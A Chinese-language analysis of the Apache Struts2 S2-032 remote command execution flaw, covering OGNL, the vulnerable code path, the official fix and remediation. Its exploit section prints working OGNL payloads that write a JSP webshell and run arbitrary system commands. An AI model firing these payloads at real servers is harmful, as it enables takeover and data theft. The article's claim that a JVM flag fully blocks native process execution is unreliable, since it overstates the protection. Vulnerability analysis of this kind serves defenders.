2016年4月26日，Apache Struts2官方又發布了一份安全公告：Apache Struts2 服務在開啟動態方法調用的情況下可以遠程執行任意命令，官方編號S2-032，CVE編號CVE-2016-3081。這是自2012年Struts2命令執行漏洞大規模爆發之後，該服務時隔四年再次爆發大規模漏洞。該漏洞也是今年目前爆出的最嚴重安全漏洞。黑客利用該漏洞，可對企業服務器實施遠程操作，從而導致數據洩露、遠程主機被控、內網滲透等重大安全威脅。
漏洞發生後，又是一次安全和相關公司的一次集體盛會，漏洞利用者在盡可能的利用此次漏洞來顯示水平的高超；各大眾測平台紛紛發布中招公司，來提昇平台的作用；各大安全公司也充分利用此次漏洞來提高公司的影響力，借勢營銷，什麼免費檢測，第一時間升級等。還剩一大堆鬱悶的廠家，我沒招誰沒惹誰啊；然後就是大量的苦悶的開發運維人員要連夜升級漏洞補丁。
但是對漏洞的原理危害影響防護等少有提及。本文就是針對以上幾點提出自己的見解。
原理
這個漏洞是利用struts2的動態執行OGNL來訪問任意java代碼的，利用該漏洞，可以掃描遠程網頁，判斷是否存在該類漏洞，進而發送惡意指令，實現文件上傳，執行本機命令等後續攻擊。
OGNL是Object-Graph Navigation Language的縮寫，全稱為對像圖導航語言，是一種功能強大的表達式語言，它通過簡單一致的語法，可以任意存取對象的屬性或者調用對象的方法，能夠遍歷整個對象的結構圖，實現對象屬性類型的轉換等功能。
#、%和$符號在OGNL表達式中經常出現
1． #符號的用途一般有三種。
訪問非根對象屬性，例如#session.msg表達式，由於Struts 2中值棧被視為根對象，所以訪問其他非根對象時，需要加#前綴；用於過濾和投影（projecting）集合，如persons.{?#this.age>25}，persons.{?#this.name=='pla1'}.{age}[0]；用來構造Map，例如示例中的#{'foo1':'bar1', 'foo2':'bar2'}。
2． %符號
%符號的用途是在標誌的屬性為字符串類型時，計算OGNL表達式的值，這個類似js中的eval，很暴力。
3． $符號主要有兩個方面的用途。
在國際化資源文件中，引用OGNL表達式，例如國際化資源文件中的代碼：reg.agerange=國際化資源信息：年齡必須在${min}同${max}之間； 在Struts 2框架的配置文件中引用OGNL表達式。
代碼利用流程
1、客戶端請求
http://{webSiteIP.webApp}:{portNum}/{vul.action}?method={malCmdStr}
2、DefaultActionProxy的DefaultActionProxy函數處理請求。
protected DefaultActionProxy(ActionInvocation inv, String namespace, String actionName, String methodName, boolean executeResult, boolean cleanupContext) { this.invocation = inv; this.cleanupContext = cleanupContext; LOG.debug("Creating an DefaultActionProxy for namespace [{}] and action name [{}]", namespace, actionName); this.actionName = StringEscapeUtils.escapeHtml4(actionName); this.namespace = namespace; this.executeResult = executeResult; //攻擊者可以通過變量傳遞、語法補齊、字符轉義等方法進行繞過。 this.method = StringEscapeUtils.escapeEcmaScript(StringEscapeUtils.escapeHtml4(methodName));}3、DefaultActionMapper的DefaultActionMapper方法method方法名
String name = key.substring(ACTION_PREFIX.length());if (allowDynamicMethodCalls) { int bang = name.indexOf('!'); if (bang != -1) { //獲取方法名String method = cleanupActionName(name.substring(bang + 1)); mapping.setMethod(method); name = name.substring(0, bang); }}4、調用DefaultActionInvocation 的invokeAction方法執行傳入的方法。
protected String invokeAction(Object action, ActionConfig actionConfig) throws Exception { String methodName = proxy.getMethod(); LOG.debug("Executing action method = {}", methodName); String timerKey = "invokeAction: " + proxy.getActionName(); try { UtilTimerStack.push(timerKey); Object methodResult; try { //執行方法methodResult = ognlUtil.getValue(methodName + "()", getStack().getContext(), action); } catch (MethodFailedException e) {解決辦法
官方的解決辦法是在第三步中的函數cleanupActionName增加了校驗。
protected Pattern allowedActionNames = Pattern.compile("[a-zA-Z0-9._!///-]*");protected String cleanupActionName(final String rawActionName) { //校驗，輸入過濾正則匹配("[a-zA-Z0-9._!///-]*")，這是採取白名單方式，只允許大小寫字母、數字等有限字符。 if (allowedActionNames.matcher(rawActionName).matches()) { return rawActionName; } else { if (LOG.isWarnEnabled()) { LOG.warn("Action/method [#0] does not match allowed action names pattern [#1], cleaning it up!", rawActionName, allowedActionNames); } String cleanActionName = rawActionName; for (String chunk : allowedActionNames.split(rawActionName)) { cleanActionName = cleanActionName.replace(chunk, ""); } if (LOG.isDebugEnabled()) { LOG.debug("Cleaned action/method name [#0]", cleanActionName); } return cleanActionName; }}修復建議
1、禁用動態方法調用
修改Struts2的配置文件，將“struts.enable.DynamicMethodInvocation”的值設置為false，比如：
<constantname="struts.enable.DynamicMethodInvocation" value="false"/>；
2、升級軟件版本
升級Struts版本至2.3.20.2、2.3.24.2或者2.3.28.1
補丁地址：https://struts.apache.org/download.cgi#struts23281
漏洞利用代碼
1、上傳文件：
method:%23_memberAccess%[email][email protected][/email]@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23pat h%3d%23req.getRealPath(%23parameters.pp[0]),new%20java.io.BufferedWriter(new%20java.io.FileWriter(%23path%2b%23parameters.shellname[0]).append(%23parameters.shellContent[0])).close(),%23w.print(%23path),%23w.close(),1?%23xx:%23request.toString&shellname=stest.jsp&shellContent=tttt&encoding=UTF-8&pp=%2f
上面的代碼看起來有點不方便，我們進行轉換一下在看看。
method:#[email protected]@DEFAULT_MEMBER_ACCESS,#[email protected]@getRequest(),#[email protected]@getResponse(),#res.setCharacterEncoding(#parameters.encoding[0]),#w=#res.getWriter(),#path=#req.getRealPath(#parameters.pp[0]),new java.io.BufferedWriter(new java.io.FileWriter(#path+#parameters.shellname[0]).append(#parameters.shellContent[0])).close(),#w.print(#path),#w.close(),1?#xx:#request.toString&shellname=stest.jsp&shellContent=tttt&encoding=UTF-8&pp=/
2、執行本地命令：
method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Run time@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&cmd=whoami&pp=//A&ppp=%20&encoding=UTF-8
同樣我們經過轉換在看一下
method:#_memberAccess[#parameters.name1[0]]=true,#_memberAccess[#parameters.name[0]]=true,#_memberAccess[#parameters.name2[0]]={},#_memberAccess[#parameters.name3[0]]={},#[email protected]@getResponse(),#res.setCharacterEncoding(#parameters.encoding[0]),#w#d#res.getWriter(),#s=new java.util.Scanner(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream()).useDelimiter(#parameters.pp[0]),#str=#s.hasNext()?#s.next():#parameters.ppp[0],#w.pr int(#str),#w.close(),1?#xx:#request.toString&name=allowStaticMethodAccess&name1=allowPrivateAccess&name2=excludedPackageNamePatterns&name3=excludedClasses&cmd=whoami&pp=//A&ppp= &encoding=UTF-8通過之前的介紹，發現轉換後還是比較容易理解的。
如何預防
安全中有個非常重要的原則就是最小權限原則。所謂最小特權(Least Privilege)，指的是"在完成某種操作時所賦予網絡中每個主體(用戶或進程)必不可少的特權"。最小特權原則，則是指"應限定網絡中每個主體所必須的最小特權，確保可能的事故、錯誤、網絡部件的篡改等原因造成的損失最小"。
比如在系統中如果沒有用到動態方法調用，在部署的時候就去掉，這樣即使補丁沒有打，依然不會被利用。
在這個系統中最重要的危害之一是執行本地進程，如果系統沒有執行本地進行的需求，也可以禁用。
我們看一下java代碼中執行本地命令的代碼，ProcessImpl中的ProcessImpl。
private ProcessImpl(String cmd[], final String envblock, final String path, final long[] stdHandles, final boolean redirectErrorStream) throws IOException { String cmdstr; SecurityManager security = System.getSecurityManager(); boolean allowAmbiguousCommands = false; if (security == null) { allowAmbiguousCommands = true; //jdk已經指定了參數來標識是否可以執行本地進程。 String value = System.getProperty("jdk.lang.Process.allowAmbiguousCommands"); if (value != null) allowAmbiguousCommands = !"false".equalsIgnoreCase(value); } if (allowAmbiguousCommands) {在java啟動的時候加上參數-Djdk.lang.Process.allowAmbigousCommands=false，這樣java就不會執行本地進程。
如果在系統部署的時候能提前把不必要的內容關掉，可以會減少或者杜絕這個漏洞的危害。